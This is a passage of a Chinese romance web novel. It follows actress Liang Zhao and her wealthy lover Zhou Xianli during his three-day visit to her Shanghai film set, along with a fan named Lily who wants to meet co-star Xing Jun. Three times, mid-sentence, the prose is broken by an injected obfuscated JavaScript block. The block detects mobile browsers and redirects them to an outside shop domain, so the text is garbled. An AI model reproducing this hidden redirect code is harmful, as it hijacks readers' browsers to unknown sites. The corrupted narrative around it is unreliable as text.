曹却思是片场暴君,脾气大,骂人凶,这还是梁昭第一次听他夸人。虽然知道八成是看周显礼的面子,但她还是期待剩下两分确实是因为她在演戏方面有点天赋。 她这么一想,唇角忍不住往上翘。 周显礼跟曹却思道别,梁昭就跟着挥手,说:“导演再见。” 上了周显礼的车,梁昭往周显礼身边凑,贴着他问:“你怎么来上海了啊?” 她身上有股很清爽的香气,像潮湿雾气里的青绿叶子味,周显礼还挺喜欢,干脆把她抱到腿上,抵在她颈间嗅了嗅:“来看看上海的梧桐叶跟北京的有什么不一样。” 梁昭叫他鼻息弄的有点痒,缩了一下,一手搭在他肩膀上,说不上是要推开还是欲拒还迎:“只看梧桐吗?” 周显礼托起她的脸,虎口卡在下巴处,细细地端详:“你说呢?”没等梁昭回答,他就啧了声,“又瘦了。” 梧桐不值得看,人却是要好好看一看的,进组没几天,瘦成这样子。 梁昭抿着唇笑,双手环住他脖子,探身亲了亲他的唇。 她做这事还是很笨拙,只蜻蜓点水地亲了一下,像个偷吃糖果的小孩儿,小心翼翼的。 周显礼呼吸都乱了,却没继续亲下去的意思,揉了揉她后脑勺。梁昭主动献吻,居然没后续发展了,又羞又恼,缩在他怀里不满地哼了声。 周显礼贴在她耳边,笑着问:“没亲够?” 这要怎么答?梁昭脸颊蒙上层薄粉,没说话。 周显礼说:“有正事儿,快要迟了,回去再亲。” 车往徐汇的方向开,梁昭看窗外,梧桐树影婆娑。 她一张小脸崩着,不信他的说辞。亲两口能花多少时间,这不是还没到呢吗? 周显礼哄她:“再亲下去,我怕我把持不住,这顿饭就不用吃了。” 他说话声音低,情侣间的呢喃般动人,梁昭心跳都漏了一拍,脸越来越红,等到了地方,下车被寒风一吹,才好了些。 周显礼这趟到上海,其实是来出差的,晚上和几个人约着一块儿吃饭。 梁昭说:“你们男人就是会花言巧语,我还真以为你是专门来看我的。” 她现在胆子越来越大,周显礼给她点颜色,她就开染房。 周显礼牵住她的手:“专门来看你,顺便来出差。” 梁昭长长地嘁了一声。 周显礼也不继续解释,领着她走进包厢。 人都到齐了,自觉空出上面的位置。门开的一瞬间,大家的目光从他们俩交握的手上掠过,都没露出什么异样的表情。 这应当也不是什么太重要的场合,有几个人也带了女伴。 席间有位男士,叫裴行之,一口京腔,自称和周显礼是发小,看着比周显礼大一些,一见梁昭就问:“这就是雨生跟我讲的你那位小朋友?” 梁昭心想这要不是一个人该多尴尬啊。 周显礼揽过她的肩,介绍:“梁昭,她最近在上海拍电影。” 裴行之一拱手,叫:“弟妹好弟妹好。” 梁昭没应,毕竟周显礼介绍的时候,也没说他们俩是什么关系,这声弟妹她有点不敢应。裴行之没在意,跟周显礼说:“怪不得这点小事,你还亲自到上海来。” 周显礼笑着去看梁昭,灯下他眸光流转,风流十足,梁昭叫这一眼看的什么也想不起来了。 没一会儿就上菜,这地方风雅,侍应生都穿月白色旗袍,水墨晕开似的,江南烟雨般朦胧漂亮,一双白净的手臂露出来,戴一副玉镯,倒茶时叮当轻响。 梁昭捧起茶杯,后知后觉地意识到,周显礼还真是专门来看她的。 席间他们谈些梁昭听不懂的话题,周显礼怕她无聊,也会跟她讲两句悄悄话。 其实梁昭只觉得轻松。 这是她从东北走出来后,参加过最轻松的一场饭局。 以前的那些饭局里,她是供人审视的角色,连盘菜都算不上,需要被评判能不能端上桌,但跟在周显礼身边,她不用再喝酒陪笑,尽管他们一双双目光里都是了然,但她总算能踏实地吃一顿饭。 一顿饭吃到快结束,梁昭去卫生间,洗手时,旁边一个大波浪卷发的女人正对着镜子补妆,是裴行之带来的女伴。 她看了眼梁昭,很热情地笑起来:“这么巧。” 梁昭也笑:“是啊。” 她随口闲聊:“你在上海拍戏?” 梁昭点头:“刚开机没多久。” “挺厉害的。”女人侧目,上下打量她,“你长这么漂亮,就该当明星。” 梁昭哈哈大笑,下意识夸她:“你也很漂亮,这大红唇,气场全开啊。” 女人也乐,补完口红,看梁昭还在慢吞吞地挤洗手液,就靠在洗手台边等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002822|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:“你跟谁搭戏啊?你们那剧组有没有特出名的大明星?” “邢钧算吗?” 梁昭赶紧冲了冲手,扯张纸巾擦干,跟她一块儿回包厢。 “那可太算了!邢钧啊,帅的要死,我是他粉丝!哎,咱俩加个微信吧,”女人从包里拿出手机,问,“你能不能帮我要个签名什么的?” “行啊,没问题,我们俩关系杠杠的。” 毕竟是男女主,现在她跟邢钧相处的时间比跟谭清许都长。 谁知话音还没落地,包厢门就被推开了,一众人拥着周显礼走出来。 梁昭抬头一瞥,看不出来他是高兴还是不高兴,也就拿捏不准他有没有听见刚才那句话,连忙扫了微信,挪到周显礼身边装乖。 周显礼牵着她往外走,梁昭放心了,回头朝女人挥挥手道别。 上车以后,梁昭还是心虚,没话找话聊:“你晚上住哪?” 周显礼没答,漫不经心地问:“你跟邢钧关系很好?” 梁昭头摇的像拨浪鼓:“不好不好,一点儿都不好,我那都是吹牛的,邢钧是大前辈,我哪敢造次。” 周显礼“哦”了声:“这么说,你很尊敬他?” 梁昭想点头,点到一半又止住了,感觉也不太对劲。 她一鼓作气,挤进周显礼怀里:“你怎么吃飞醋啊?” 周显礼笑起来,梁昭脸颊贴在他胸膛,感到一点愉悦的震动。 周显礼曲起食指,蹭了蹭她脸颊,语气忽然沉了:“你的工作我不干涉,但邢钧出了名地拍一部戏谈一个,你自己注意分寸。” 这是怕她被花花迷了眼,经不起诱惑呗。梁昭环住他脖子,抬头望他:“我有你,我才看不上别人呢。” 小姑娘说情话,信口拈来,但偏偏她一双眼睛湿漉漉水灵灵的,像头小鹿一样,周显礼垂眸看她,还真有点信了。 梁昭招架不住他这样看她,撇开目光,轻声问:“你晚上到底住哪啊?” 周显礼说:“你住哪我就住哪。” 梁昭差点以为他要跟她一块住那个酒店的小标间,还想着她那里实在太乱了,怕是不好看。她这几天拍戏,昼夜颠倒,没时间收拾,东西都乱丢乱放。 到了才知道,周显礼是在她住的那家酒店开了间套房,面积是标间的十倍,客厅巨幅落地窗,可尽览黄浦江夜景。 梁昭一进去就被这面大窗户吸引了,站在窗边往外看,不住感慨:“好漂亮啊。” 她晚上有时候也和谭清许在外滩散步吹风,但那和站在高处看的景色不一样。 周显礼脱了外套,边说:“这房间我租了两个月,你搬上来住,不够再续,记在我账上就行,别窝在那间小鸽子笼里。” 梁昭乖巧点头,说:“好啊好啊。” 周显礼揽住她的腰,抵在窗上,一手探进连衣裙里,在她大腿滑腻的皮肤上留连。 “怕冷还穿这么少?” 梁昭有点紧张,含糊嗯一声,晕乎乎地去推他胳膊。 周显礼挑起眉:“不让碰?” “不,不是……”梁昭期期艾艾的,“我……” “感冒好了吗?” “好多了。” 周显礼在她大腿内侧拍了拍,再开口时,声音有些低哑:“昭昭,去洗澡。” 18. 第 18 章 梁昭推开周显礼的胳膊,垂着头,小声说:“那个,我……我来月经了。” 实在太破坏氛围了。 梁昭声音越来越小,也不敢看周显礼,听他半天没动静,眼珠才悄悄往上瞥。 周显礼垂眸看她,眼底漾着些无奈,有点吃瘪的感觉。 他很少露出这样的表情,梁昭两条胳膊环住他的腰,埋在他怀里轻笑了声。 周显礼挠她腰上的痒痒肉:“你还笑?” “痒。”梁昭扭着腰躲,“你来的不巧,我让你来的时候你不来。” 周显礼捧起她的脸亲了一口,说:“看来以后还得听我们昭昭的。” 这个吻一点情热的意思都没有了。梁昭大笑:“是啊是啊。” 周显礼拍拍她的臀,赶她去洗澡,自己拿了支烟点上,靠在窗边抽,像是在压抑刚刚被挑起的欲望。 梁昭走到沙发边,从包里拿了片卫生巾,回头望他。 周显礼吐出一口烟,白雾袅袅里,他神色看不分明,但梁昭下意识觉得他心情不怎么样。 他今晚的兴致,终究是被她不合时宜的生理期毁了。 梁昭把卫生巾塞进口袋里,又走回周显礼身边,周显礼揉了把她的头发,问:“怎么了?浴袍和衣服让人准备好了,都是新的,在衣帽间。” 梁昭依偎在他怀里:“要不我用手帮你吧?” 周显礼笑了声:“你这都是从哪学的?” 梁昭撇撇嘴:“这还用学吗?” 上高二的时候梁昭坐后排,身边围一群男生,黄色笑话听了一箩筐,课间的时候,他们还动不动就随机挑选一个幸运儿抬出去,两腿分开,就往门上磨。 小地方教育资源差,学生素质也就那个样,从这种环境里长大,很多事梁昭想不懂都难。 周显礼确实是没兴致了,说:“你别招我了。” “那我去洗澡啦?” 周显礼懒懒地“嗯”一声,他咬着烟,嗓音含糊:“去吧。” 梁昭洗完澡吹完头发出来,没找到周显礼,她今天有点累,钻进被子里,又想等等周显礼,就看手机。 微信上弹出一条消息,是晚上吃饭时遇见的那位“邢钧粉丝”,她自我介绍叫Lily。 梁昭跟Lily聊了两句,互相约定“下次有时间一起吃饭啊”,也没说准是哪天,手机一丢,困的睁不开眼。 周显礼回来时,梁昭已经睡过去了,他单膝跪在床沿,俯下身看她。 她刚洗完澡,整个人都被热水泡软了,缩在被子里,就露出一张白白净净的小脸,眼睫垂着,安安静静,乖的不行。 周显礼心里软下去一块。 其实他今晚原本觉得有些无趣,但看她这副样子,又想算了算了,小姑娘感冒还没好,折腾她干什么? 周显礼亲亲她脸颊:“昭昭。” 梁昭迷迷糊糊的,下意识“嗯”了声 周显礼故意把冰凉的手心贴在她颈窝里,梁昭瑟缩一下,彻底清醒,皱着眉问:“你冲冷水澡啊?” “那能怪谁?” “怪我怪我。”梁昭笑的眉眼弯弯,把他的手拿出来,捧在手心里呵气,搓了搓,等暖和了才松开。 周显礼看她动作,忽然冒出个莫名其妙的念头,不知道她以前有没有谈过恋爱。 这般会爱人,没谈过可惜,谈过也可惜。 周显礼还是第一次对梁昭的过往感兴趣,决定回北京再让人查查,面上不显,只说:“起来把药喝了再睡。” 梁昭胡乱点头,撑着身子坐起来,周显礼像个贴心的情人,递来杯子时还用手背试了下温度。 “刚好,再放就凉了。” 梁昭喝完药,放下杯子,往里面挪,在身边的空位上拍了拍:“睡觉吧?” 周显礼踢掉拖鞋,上床,长臂一捞,把梁昭卷进怀里,刹那间梁昭闻见两人身上一模一样的沐浴露味。 木质调里一点点柑橘香。 周显礼另一只手关掉灯,很轻的“啪嗒”一声,房间内瞬间暗了。 真是很单纯的“睡觉”,什么也不做。梁昭静静靠在周显礼怀里,听彼此缠绵的呼吸声。 这样的夜,她有点舍不得用来睡觉了。 她思忖着开启话题:“你在上海待多久啊?” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011749|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显礼拇指放在她颊边摩挲,揶揄地问:“昭昭想让我待多久?” 梁昭大方承认:“我当然想让你一直陪着我,可你要工作啊。” 她这么磊落,倒搞的周显礼不知说什么好了,笑了笑才说:“这次待三天,回北京还有事,等忙过去这阵再常来看你,好不好?” 梁昭说好,三天她也很满足了。 “咱们明天去吃蟹粉小笼吧?” “好。”周显礼拍拍她的背,“不睡觉了?” “不想睡。” 梁昭明显是困了,说话慢吞吞,撑着眼皮。周显礼笑她:“多大了还闹觉,小孩儿似的。” “我就是小啊,我才二十一。”梁昭牵过他的手,一边比量他的指围一边说,“所以……如果我做错了什么事,你就看在我还小的份上,别生我的气,好不好?” 周显礼包住她的手,饶有兴趣地问:“你做了什么错事,说出来我听听?” 梁昭软下声音:“我不是故意不理你的……” 过去就过去了,周显礼不欲多谈,闭上眼准备入睡:“好了好了,你以为如果我不想放过你,你能跑得了?” 他声音十足漫不经心,梁昭心跳却漏了一拍,像下楼梯,忽然踩空,猛地明白过来,这事儿周显礼可以不在乎,但以后绝不能再发生。 无关喜不喜欢,而是他这样的人,在任何关系里都习惯处在掌控一切的那方。 梁昭听出他几分不悦,咬了下唇。 周显礼拉过她的手贴在胸口,低声说:“我们昭昭有本事,几天不理人,扰的我这儿心神不宁。” 梁昭松开牙齿,被他的语气逗乐,说的像他多委屈一样。 周显礼说:“对嘛,笑一笑。” 这样好的氛围里,梁昭知道有些话今晚她必须要说,再不说,以后就没机会了。 她靠进周显礼怀里蹭了蹭:“我就是害怕。” 没头没尾的,周显礼听懂了。 他把梁昭搂紧了一点,额头抵着她额头,梁昭只觉温热的鼻息扑过来,然后是一个湿润的吻。 周显礼说:“别怕,昭昭,我总不会辜负你。” 19. 第 19 章 第二天一早周显礼就醒了,伸手捞过手机看,六点零八分,天色将明,从窗帘缝隙里漏进来点亮。 他怀里的人动了动,无意识地跟只小猫似地哼唧,然后又不动了,呼吸绵长。 梁昭其实也醒了,但她喜欢赖床,从小的毛病,缩在他怀里不肯起。 周显礼柔声哄她:“快醒醒,不是说今天要早起?” 梁昭眼睫只一眨就又迅速闭上了,话音再迟钝几秒,慢吞吞地说:“两分钟。” 再睡两分钟。 周显礼真不知道她为什么这么缺觉,但人往她怀里一腻,他也有点舍不得起了,莫名品出些老夫老妻的感觉。 周显礼耐心等几分钟,再次叫醒梁昭。 梁昭“嗯”了声,有回应,但不动,连眼皮都不掀。 周显礼再好的耐心也没了,捏着她下巴抬起来就亲,亲着亲着梁昭终于清醒了,半睁着眼,两条细细的胳膊下意识一挥,又软绵绵地搭在周显礼肩上。 一大清早,亲久了容易把持不住,周显礼很快放开梁昭,拇指在她唇瓣上揉了下,那处显出嫣红的血色。 梁昭眼睛蒙着层雾气,缓缓眨了下,呆呆地问:“不亲了吗?” 她觉得周显礼亲到一半就停下来了。 周显礼笑一声,捉着她的手往下摸。 梁昭手心碰到处凸起,人也像被烫到,猛地弹开,偏偏周显礼按着她不让动。 梁昭这才想起来,男人早上应该都会这样。 她脸颊飞红,不敢动,小声说:“时间可能来不及了。” 如果不吃早餐的话可能还够,但她不知道周显礼需要多久。今天戏份很重,她可不能迟到。 周显礼没说话,一个深呼吸后松开她的手。 梁昭动作迅速地滚下床,洗漱去了。 周显礼慢悠悠地也往盥洗室走。 洗漱完还有些时间,周显礼叫酒店送了点早餐上来和梁昭一起吃,梁昭三两口吃完,火急火燎地去换衣服,催他快点。 天气不好,上海又下雨,梁昭打开窗感受外面的温度,被扑面的凄风苦雨冻了回来,缩着脖子,扔掉中看不中用的羊毛大衣,老老实实换上羽绒服。 鹅黄的短款,披在她身上,跟朵甜蜜的花蕊似的。 周显礼坐在沙发上,看她在房间里跑来跑去,一会儿要涂下口红,一会儿要收拾包包,等他一支烟抽到一半,梁昭终于收拾好了,回头喊他:“走吧走吧!” 瞥见周显礼的烟,她眉心一蹙:“哎呀你能不能少抽点烟?” 周显礼勾勾手让她过来,梁昭一坐上他大腿,他就把已经抽了半截的烟往她嘴里塞。 “呸呸呸!”梁昭皱着眉吐掉,“苦的。” 有点苦的薄荷味。 周显礼说:“我平常不怎么抽烟。” 梁昭眼睛转了转,也不知是不是因为刚睡醒,或者哪根神经打错了,脑子很不灵光地问:“那为什么跟我在一块儿总抽?想让我吸二手烟?” 周显礼笑了声,手搁在她被牛仔裤包裹的圆润的臀上:“你说呢?” 梁昭赶紧跳起来,嘴里说着“晚了晚了”,跑到玄关换鞋子,周显礼不紧不慢地跟上,在梁昭伸手想要开门的一瞬,按着她的后腰把她抵到门上。 梁昭动了下,想回头看他,周显礼没给她这个机会,唇贴在她耳边,梁昭因此也就看不见他什么表情,只能听见他含笑的声音。 “昭昭,欠我两次了。” 梁昭一大早被他弄的脸红了又红,胳膊肘向后顶开他,回头剜人一眼,小声骂他“流氓”,推开门跑了。 周显礼在她身后愉悦地笑出声。 / 周显礼在上海待了三天,陪梁昭吃了蟹粉小笼和本帮菜,回北京那天,梁昭没空送他。 前一天晚上,梁昭躺在沙发上看剧本,心不在焉地说:“等你下次来咱们去迪士尼玩吧?” 周显礼拍拍她的腰,她自觉腾了个空出来,等周显礼坐下,就枕在他大腿上。 周显礼随口问:“游乐园?” “对啊,我还没去过呢。”梁昭问,“你去过了吗?” “没有。”周显礼就没进过游乐园。 “清许说挺不错的,让我一定要玩海盗船,还有个钓金猪的小游戏,就是拿一个有磁力的鱼竿钓金币,跟小时候玩的那种钓鱼玩具一样,你玩过吗?” 以前关红给梁昭买过一套,充气的游泳圈,里面放一堆五颜六色的塑料热带鱼,梁昭拿个鱼竿蹲在那,能自娱自乐一下午。 周显礼说:“钓过鱼,去年在新西兰,钓上来这么长一条蓝鳍金枪鱼。”他比划了下,可惜他没有拍照的习惯,否则要给梁昭看照片,“下次带你一起去,钓上来就吃,新鲜。” “钓鱼佬。”剧组人龙混杂,哪里人都有,梁昭跟着学了一点点各地方言,“我说的是小时候!你有没有童年啊?” 说完梁昭想起来人家跟她不一样,童年都是打高尔夫度过的。 周显礼说:“小时候我也钓鱼。”这爱好是他爷爷培养出来的,他还举不动鱼竿的年纪,就跟老爷子在北戴河钓鱼。 梁昭不想继续这个跑偏的话题了,坐起来,挽住周显礼脖颈撒娇:“我舍不得你回去。” 周显礼漫不经心地揉她的耳垂玩:“什么时候这么黏人了?” “真的。”梁昭说,“你走了我又每天晚上都想你。” 这话倒是真的,周显礼发现梁昭凌晨三四点的时候很容易醒一次,醒了就非得钻到他怀里才能继续睡,这几天周显礼胳膊给她当枕头,常常早晨醒过来,半边手臂都是麻的。 他猜都是梁昭压力最近大闹的。她刚入行,才二十来岁,就搭档邢钧这样的老油条,在曹却思这个疯子手底下被搓扁揉圆。 他来了三天,也就第一天梁昭收工早,后面两天都磨到十二点之后才结束。 周显礼想起有天早上梁昭边打哈欠边跟他说,昨晚又梦见被曹却思骂了。 他松开梁昭的耳垂,手指落到梁昭贴着各色便签的剧本上,随手翻了翻,边角有折痕,毛毛糙糙的,已经不知被翻过多少遍了。 “抽空再来看你好不好?”周显礼又嘱咐了句,“拍戏别太累了,不行让曹却思给你放几天假。” 梁昭说:“好呀好呀。” 其中曹却思怎么肯给她放假,剧组一开机,银子流水一样地花,停一天就白白扔一天的钱。 不过梁昭也不至于不识趣地跟周显礼说这些,她就只答应下来,反正周显礼也要走了。 梁昭晃晃胳膊,说了一堆好听话。 话虽然说的好听,但周显礼回北京那天,她也没去送。他是下午三点多的航班,剧组里走不开。 下午梁昭正在化妆,偷偷拍了张照片发给周显礼,他应该正在候机,便有一搭没一搭地和梁昭聊微信。 梁昭说天气太冷,想吃烤梨,周显礼让她多想一会儿。 不用想都知道周显礼现在笑成什么样子,他就喜欢逗她玩儿。梁昭小发雷霆,用指尖狠狠戳屏幕,戳进刚弹出来的一条消息里。 是Lily发来的,说她今天在外面玩,听说这边有剧组在拍戏,一问是邢钧的新电影。 Lily问:[是你们剧组吗?] 梁昭说:[是吧。] Lily:[那我能不能去探班呀?你方不方便?咱们俩还说要一起去吃饭,都没找到时间,这样我一会儿过去,等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015963|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍完咱们还能去吃晚餐。] 梁昭:[你是想来看邢钧吧?] Lily发来三个害羞的表情和一串大笑。 [顺便看看偶像嘛。] 见偶像才是主要的,探班才是顺便吧。梁昭敲开隔壁化妆间的门,笑着打招呼:“邢大哥,你才吃饭啊?” “中午有事,没来得及吃。”邢钧点点寿司,“你一块儿来吃点吧?” “不吃了不吃了,”梁昭摆手,“我中午吃过了。” 邢钧挑起眉毛看她:“那来找我什么事?” 梁昭说:“我有个朋友想来探班,她是你粉丝,就……” 邢钧咬着块寿司笑了:“签名合照一条龙呗?” 梁昭不好意思地挠了挠后脑勺。 邢钧说:“行,谁叫我宠粉呢。再说你朋友不就是我朋友。” “那我让她过来。”邢钧话说的暧昧,梁昭想起周显礼说他花名在外,也就没接话,只说,“我先回去了,你慢慢吃。” 邢钧挥了挥手,梁昭帮他带上门,回化妆间给Lily甩了个地址。 [来吧。] Lily到剧组时,梁昭刚拍完一段,立在角落里补妆。 片场很吵,Lily叫了她两声她才听见,一扭头,看见她穿着长筒靴短裙,披一件黑色斗篷,一枚双C钻石珍珠胸针闪闪发光。 梁昭牵过她的手打招呼:“你不冷啊?” Lily凑近她小声说:“来见邢钧当然要好好打扮一下。” 她边说,眼神边到处乱瞟,比她的钻石胸针还要亮。 梁昭说:“应该在房车上,等会儿吧,他一会儿就下来了。” Lily就靠着墙跟她闲聊:“你这里什么时候能拍完啊?” 听口音她是北方人,很自来熟。 梁昭说:“巧了,今天五六点就能收工,正好咱们出去吃饭。” Lily欲言又止:“晚上周总……” “他回北京了。” “哦哦。”Lily看向她,忍不住八卦,“你跟周总认识多久了啊?” Lily跟裴行之已经有一年多了,期间也见过周显礼几次,但没见过他身边带什么女人。 但梁昭确实漂亮,漂亮到Lily觉得只要是个正常男人,见到她的第一面绝对都会冒出点非分之想。 眉眼灵动,跟幅画似的。 Lily在心底算日子,这也没过几天,周显礼就已经回北京了,看来也没有多上心。不过这也正常,他们这样的男人哪里会把一个攀附权势的女人放在心上。 梁昭说:“没多久。” Lily笑了下,刚想把话题引到晚餐吃什么上去,就听见身后闹哄哄的,有个齐刘海的女生钻过来。 “姐,这就是你那个朋友啊?” 梁昭“嗯”了声。 “剧组请的。”谭清许递给Lily一杯咖啡,笑盈盈地说,“你好你好,我是昭昭姐助理。你真漂亮啊!” Lily道一声谢。 梁昭问:“又是谁请啊?还有吗,给我也拿一杯。” 剧组每天都有人请东西喝,出品请完制片请,制片请完明星请,有时候是奶茶咖啡,有时候是可乐饮料,运气好了,一天能蹭好几杯。 梁昭早就习以为常,刚进组的时候她也请过一次,心疼了好几天,自那以后只要有人请客,她都不忘蹭一杯,能回一点血是一点。 “你请的啊。” 梁昭没听懂:“谁?” “你请客,姐夫买单。”谭清许从牛皮纸袋子里掏出另一杯给她,“姐夫特意吩咐了,你喝这个。” 摸着热乎乎的,梁昭打开一看,是一杯烤梨。